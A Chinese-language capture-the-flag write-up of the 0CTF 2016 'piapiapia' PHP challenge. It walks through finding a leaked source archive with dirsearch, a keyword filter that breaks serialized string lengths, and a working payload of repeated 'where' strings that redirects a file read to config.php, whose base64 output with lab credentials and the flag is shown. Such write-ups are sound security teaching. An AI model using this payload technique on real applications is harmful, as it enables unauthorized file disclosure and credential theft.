BUUCTF-WEB 【0CTF 2016】piapiapia 1

考点:php反序列化字符长度逃逸

打开题目

image-20210412160124895

一般看到登录框,就以为是sql注入题,这道题不是。

dirsearch扫网站目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
python3 dirsearch.py -u "http://16b5eb0b-ac30-452a-808a-0e9214102abd.node3.buuoj.cn/" -s 1 --exclude-status=429,403 -t 1

_|. _ _ _ _ _ _|_ v0.4.1
(_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 1 | Wordlist size: 10848

Error Log: F:\Tools\WEB\Python-Tools\dirsearch-master\logs\errors-21-04-12_16-36-23.log

Target: http://16b5eb0b-ac30-452a-808a-0e9214102abd.node3.buuoj.cn/

Output File: F:\Tools\WEB\Python-Tools\dirsearch-master\reports\16b5eb0b-ac30-452a-808a-0e9214102abd.node3.buuoj.cn\_21-04-12_16-36-24.txt

[16:36:24] Starting:
[16:36:28] 200 - 392KB - /www.zip
[16:36:33] 200 - 788B - /php
[16:36:38] 200 - 788B - /js

看了别人wp,这道题存在源码泄露,在网站目录会泄漏一个www.zip文件,用工具扫,还不容易扫出来,我开了代理居然扫不出来。

下载下来,有这么些文件。

image-20210412163813761

分析

关键的三个地方

update.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

$username = $_SESSION['username'];
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');

if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');

if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');

$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');

move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
# 这里会调用 class.php 的 update_profile 方法
$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
}

profile.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
$username = $_SESSION['username'];
# 这里调用的是class.php 的 show_profile方法
$profile=$user->show_profile($username);
if($profile == null) {
header('Location: update.php');
}
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
?>

class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
public function show_profile($username) {
$username = parent::filter($username);

$where = "username = '$username'";
$object = parent::select($this->table, $where);
return $object->profile;
}
#
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
# 这就是造成序列化漏洞的关键地方
$new_profile = parent::filter($new_profile);

$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}

public function select($table, $where, $ret = '*') {
$sql = "SELECT $ret FROM $table WHERE $where";
$result = mysql_query($sql, $this->link);
return mysql_fetch_object($result);
}

# 这个方法将 序列化后的内容 进行了替换 将含有'select', 'insert', 'update', 'delete', 'where' 以上关键字 替换成了 hacker 并且还进行了返回
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);

$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}

简化来看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/';


$str1 = filter(serialize($profile));
var_dump($str1);

echo "<br/>";

$str2 = unserialize($str1);
echo "nickname:".$str2['nickname'];
echo "<br/>";
echo "photo:".$str2['photo'];


function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);

$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
?>

按照下列参数进行提交,返回的序列化结果

1
phone=11111111111&email=123@qq.com&nickname=fany
1
a:4:{s:5:"phone";s:11:"11111111111";s:5:"email";s:10:"123@qq.com";s:8:"nickname";s:4:"fany";s:5:"photo";s:7:"upload/";}

image-20210413100301683

提交过滤参数,看返回的序列化结果

1
phone=11111111111&email=123@qq.com&nickname=wherewherewhere
1
a:4:{s:5:"phone";s:11:"11111111111";s:5:"email";s:10:"123@qq.com";s:8:"nickname";s:15:"hackerhackerhacker";s:5:"photo";s:7:"upload/";}

image-20210413100546699

可以看到出现了报错,原本输入的where序列化后的长度为15,输出显示的时候,经过了filter对其内容进行了过滤,where被替换为hacker,但是序列化后的长度没有变,替换成hacker,由于where比hacker少了一位,所以在读取时,发现读取到15位的时候并没有读取到 ; 所以就照成了报错。

接下来利用这个漏洞

1
phone=11111111111&email=123@qq.com&nickname=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";s:5:"photo";s:10:"config.php";}
1
a:4:{s:5:"phone";s:11:"11111111111";s:5:"email";s:10:"123@qq.com";s:8:"nickname";s:198:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:5:"photo";s:10:"config.php";}";s:5:"photo";s:7:"upload/";}

image-20210413101312292

直接可以看到photo 变成了config.php。分析一下,";s:5:"photo";s:10:"config.php";} 的字符串长度为33,输入了33个where,总长度为33+33*5=198,在总长度不变的情况下,33个where替换成了33个hacker,

33*6=198,自然读取到的就是 结束的位置,后面接上的";s:5:"photo";s:10:"config.php";} 就接着读取。因为总属性为4个,也已经读取完毕,后边的;s:5:"photo";s:7:"upload/";} 就会被丢去掉。

回到题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

$username = $_SESSION['username'];
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');

if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');

if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');

$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');

move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);

$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
}

update.php 里的 会接收三个参数,$profile[‘phpone’]、$profile[‘email’]、$profile[‘nickname’]。

在传入$profile[‘ncikname’]会存在一个条件

1
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)

不是大写字母小写字母数字下划线 或者 字符串长度大于10 就直接报错,停止程序,这里直接就来一手数组绕过。

进行profile.php页面,提交,抓包。

image-20210413103644581

1
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

得到

image-20210413103834158

1
PD9waHAKJGNvbmZpZ1snaG9zdG5hbWUnXSA9ICcxMjcuMC4wLjEnOwokY29uZmlnWyd1c2VybmFtZSddID0gJ3Jvb3QnOwokY29uZmlnWydwYXNzd29yZCddID0gJ3F3ZXJ0eXVpb3AnOwokY29uZmlnWydkYXRhYmFzZSddID0gJ2NoYWxsZW5nZXMnOwokZmxhZyA9ICdmbGFne2U1ZWY1MDE0LWMzZmQtNDIyYS1hNWE4LWYyMDkzMWM0YWNmYX0nOwo/Pgo=

base64解码

image-20210413103921232

坑点

提交的时候 需要将nickname转换为数组进行提交,我提交多次都都还是读取不到,报Warning: file_get_contents(): Filename cannot be empty in /var/www/html/profile.php on line 16,看了他们的payload后,发现在ncikname处有 } 闭合,我就很纳闷,我平时序列化都是末尾才会有这个括号,后来经过验证,只要是数组,都会单独有个闭合。

payload

1
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}